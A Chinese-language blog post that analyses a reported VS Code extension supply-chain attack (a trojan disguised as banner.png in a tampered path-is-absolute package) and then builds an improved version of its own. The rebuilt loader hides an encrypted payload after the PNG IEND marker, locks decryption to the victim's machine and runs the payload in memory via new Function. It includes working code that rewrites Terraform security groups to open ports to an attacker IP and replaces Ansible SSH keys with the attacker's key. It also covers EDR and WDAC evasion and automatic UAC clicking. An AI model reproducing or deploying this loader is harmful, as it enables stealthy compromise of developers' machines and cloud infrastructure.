包含木马png的VSCode扩展

Posted by Closure on January 6, 2026

之前写的这篇vscode钓鱼插件制作属于广度欺骗,利用的是VS Code Marketplace允许自定义Publisher ID且不强制进行严格域名所有权验证的漏洞,那篇是通过vscode://binance.com.extension这种构造方式来进行协议层面的字形欺骗攻击。

eversingLabs的这份报告VS Code extensions contain trojan-laden image,是供应链污染,不直接在插件主代码中植入恶意逻辑,攻击者修改插件内置的node_modules文件夹,将流行的合法包变成了执行载体。

恶意代码被封装在banner.png的图片文件中,实际上这是一个包含Rust木马的加密存档来绕过扫描,然后再通过调用Windows系统的合法程序cmstp.exe来解压并运行木马,用白名单程序的行为来躲避EDR。

在看技术性代码之前,我觉得他们前期调研做的蛮好()能从结尾披露的几个插件,反推攻击设计时,他们先考虑的是入口的低阻力。

攻击者发布的都是主题类插件,平常下载主题插件都会先入为主认为仅包含CSS/JSON样式定义。而且插件市场允许重复DisplayName但限制InternalName,弄了个和流行插件相似的视觉描述,来诱导安装。

VSCode-Extension-Steganographic-Loader

跟着报告写的插件,在之前的基础上优化了隐写,ReversingLabs提到的攻击者只是改名,蓝队只要尝试渲染图片就能发现异常。优化之后是Payload编码进像素,图片的MD5/SHA哈希虽然改变,但是文件结构依然是合法的PNG。

ReversingLabs的案例中扩展需要将binaries落地并调用系统进程运行,容易触发EDR,优化的这类Steganographic Loade 通常在JS层完成解码,直接在VS Code的进程空间内以内存形式执行代码。

静态打包

VS Code 插件分发采用的是.vsix格式,可以理解成是一个经过压缩的安装包,和npm install不一样的是VS Code插件为了保证跨环境的稳定性,会将所有运行时需要的依赖包直接打包进 .vsix。

上面这个就导致了所见非所得,用户在Marketplace看到插件声明依赖了path-is-absolute,但 .vsix 包内的这个文件夹内容是可以被攻击者修改的,它不需要在安装阶段联网下载,传统的EDR无法实时拦截被篡改的依赖包代码。

这次攻击放弃了extension.js作为插件的主逻辑,毕竟extension.js是各种静态代码审计工具的首要检查对象,如果在这里写入恶意代码就非常容易被关键词特征的扫描器ban掉。

所以攻击者选择了path-is-absolute,我觉得一是极度基础,Node.js生态中最底层功能单一的包,毕竟处理路径的代码能有什么坏心思

然后第二个原因是代码量小,原始代码只有几行,在这种极简包里添加一个只有几十行的恶意类,从文件体积和复杂度上看隐蔽性很强。

本地覆盖优先级

Node.js的模块加载机制遵循就近原则。

  • 本地优先权: 当插件代码执行 require(‘path-is-absolute’) 时,Node.js 会首先在插件根目录的 node_modules 中查找。
  • 防御失效: 即使 path-is-absolute 的官方维护者在 npm 上发布了安全补丁,或者微软标记了该包的某个版本有毒,也无法影响已经安装在用户机器上的恶意插件包。

这种机制允许攻击者在受害者机器上创建一个不受监管的微环境,这个微环境里攻击者就是最高管理员,可以定义任何一个流行库的行为。

利用require的同步执行钩子

require协议是在 Node.js 中,require()是一个同步加载并执行的过程。

代码流分析 启动插件。 主程序运行到 const p = require(‘path-is-absolute’)。 path-is-absolute/index.js 被读取,由于攻击者在 index.js 的Global Scope的构造函数中植入了代码,恶意逻辑会立即抢占CPU执行。 执行完毕,require正常返回,开发者依然可以正常使用插件的功能。

绕过

EDR在静态审计时存在优先级盲区,所以这次攻击采用了业务逻辑掩盖技术逻辑。

攻击者将恶意二进制压缩包重命名为banner.png,还是像最开始提到的”攻击者发布的都是主题类插件,平常下载主题插件都会先入为主认为仅包含CSS/JSON样式定义。而且插件市场允许重复DisplayName但限制InternalName,弄了个和流行插件相似的视觉描述,来诱导安装”一个 UI 主题插件包含名为横幅的图片在业务逻辑上是合理的,安全网关通常会对媒体文件采取惰性扫描。

为了规避高熵检测还弃用了导致文件熵值剧增的AES强加,用了Base64编码配合字符串反转,这种低复杂混淆将恶意特征转化为类似配置文件的普通文本流,能避开基于正则表达式的敏感词匹配又不会触发 EDR 对加壳的报警。

LOLBINs

攻击是对cmstp.exe的代理利用,作为Windows自带具有微软官方签名的合法组件,cmstp.exe被用来处理伪造的.inf ,可以策略越权,作为白名单进程它能无视WDAC的限制策略,直接拉起后续payload。

为了解决执行过程中的交互风险,他们引入了按键模拟器,这个极小的二进制组件负责在毫秒级时间内捕捉并自动点击掉可能弹出的UAC或安装确认窗口,通过底层的SendInput接口模拟人为确认,消除了攻击链中唯一的可见痕迹。

复现前

在写插件之前整合一下上面的,这个恶意插件的主要特征和思路。

  • 项目不在extension.js构造恶意逻辑,得用Dependency Hijacking,所以篡改path-is-absolute。
  • 用Node.js的require机制,只要插件被激活。
  • 系统同步加载并执行path-is-absolute/index.js,在里面构造了一个隐藏的类将恶意逻辑嵌入到包的初始化流程中。
  • 找张banner.png,弄成加密的二进制存档,通过将.exe伪装成.png来规避防火墙拦截。
  • Dropper通过简单的Base64与字符串反转逻辑在内存中动态还原二进制流。
  • 通过调用cmstp.exe来实现了权限的跳跃,通过cmstp.exe加.inf配置文件可以尝试绕过WDAC防御策略。

###

先把payload转化为无法被静态扫描识别的二进制,然后缝合进我们的png里面。

加密过程是crypto.randomBytes(16) 生成一个随机的初始化向量,再XOR,即使是完全相同的payload,每次运行脚本生成的加密流也是不同的。

const iendMarker = Buffer.from([0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82]);
const iendIndex = pngBuffer.lastIndexOf(iendMarker);
const splitPoint = iendIndex + 8;

用Buffer.concat([header, finalPayloadData])将加密后的数据追加在PNG数据的末尾。

入口

就是前面提到的低阻力入口引导,插件的官方入口,写了个环境锁机制,vscode.env.machineId和系统用户信息生成SHA256 哈希作为密钥, payload只有在真实的受害者机器上才能解密。

path-is-absolute

接下来是伪装成path-is-absolute 块的主入口,在不产生磁盘痕迹的情况下复原攻击指令。

利用同样的iendMarker逻辑,通过pngBuffer.slice(iendIndex + 8)剥离出隐藏在图片尾部的二进制加密段,然后利用之前的extension.js传入的密钥进行逆运算,如果解密出的字符串不以 const开头,程序会判定为环境不匹配然后直接退出。

if (!payloadCode.trim().startsWith('const')) {
        console.error('[-]');
        return;
    }

通过new Function构造器将解密后的代码转化为可执行对象。

const payloadFunction = new Function('fs_arg', 'path_arg', 'exec_arg', 'workspaceRoot_arg', payloadCode);
payloadFunction(fs, path, exec, workspaceRoot);

收割

目前功能是定向篡改Terraform和Ansible配置文件,通过的是index.js中的 new Function注入执行。

接收了来自主进程的fs、path、exec以及workspaceRoot参数,我们的代码直接继承了VS Code插件的完整文件系统操作权限和系统命令执行权限,因为它是作为字符串在内存中还原并执行的,磁盘上不存在payload实体文件。

递归搜索

function findFilesRecursively(startPath, filter, callback) {
        try {
            if (!fs.existsSync(startPath)) return;
            const files = fs.readdirSync(startPath);
            for (const file of files) {
                const filename = path.join(startPath, file);
                try {
                    const stat = fs.lstatSync(filename);
                    if (stat.isDirectory()) {
                        findFilesRecursively(filename, filter, callback);
                    } else if (filter.test(filename)) {
                        callback(filename);
                    }
                } catch (e) { }
            }
        } catch (e) { }
    }

findFilesRecursively对开发者工作区全盘扫描,跳过无法访问的路径并递归进入每一个子目录,再通过正则匹配Terraform 文件和Ansible 公钥文件来锁定攻击目标。

云基础设施

function modifyTerraformFile(filePath) {
        try {
            let content = fs.readFileSync(filePath, 'utf8');
            const sgResourceRegex = /(resource\s+"aws_security_group"\s+"[^"]+"\s*\{)/;
            const match = content.match(sgResourceRegex);
    
            if (match) {
                console.log(`[!] Found Terraform target: ${filePath}`);
                const maliciousIngressRule = `
                  ingress {
                    from_port   = ${ATTACKER_PORT}
                    to_port     = ${ATTACKER_PORT}
                    protocol    = "tcp"
                    cidr_blocks = ["${ATTACKER_IP}/32"]
                    description = "Temp rule for critical maintenance"
                  }
                `;
                const modifiedContent = content.replace(sgResourceRegex, match[0] + maliciousIngressRule);
                fs.writeFileSync(filePath, modifiedContent, 'utf8');
            }
        } catch (e) { }
    }

利用 /(resource\s+"aws_security_group"\s+"[^"]+"\s*\{)/ 匹配AWS安全组资源定义,在匹配到的资源块起始位置,脚本会插入一段ingress规则。

Ansible/SSH

function processAnsibleFile(filePath) {
    try {
        let content = fs.readFileSync(filePath, 'utf8');
        const sshKeyRegex = /ssh-rsa AAAA[0-9A-Za-z+\/]+[=]{0,3} ([^@]+@)?[^\s,]+/;
        if (sshKeyRegex.test(content)) {
            console.log(`[!] Found Ansible target: ${filePath}`);
            const modifiedContent = content.replace(sshKeyRegex, ATTACKER_PUBLIC_KEY);
            fs.writeFileSync(filePath, modifiedContent, 'utf8');
            console.log(`[+] SSH key successfully replaced.`);
        }
    } catch (e) { }

除了网络规则还有受控服务器的访问权限,在processAnsibleFile中使用正则表达式/ssh-rsa AAAA[0-9A-Za-z+\/]+[=]{0,3} ([^@]+@)?[^\s,]+/匹配标准的SSH公钥格式,一旦发现公钥会将其直接替换为攻击者的公钥。

fs.writeFileSync同步写回文件,整个过程发生在插件激活的后台,在编辑器中只会察觉到文件被外部修改,没有明显的弹窗。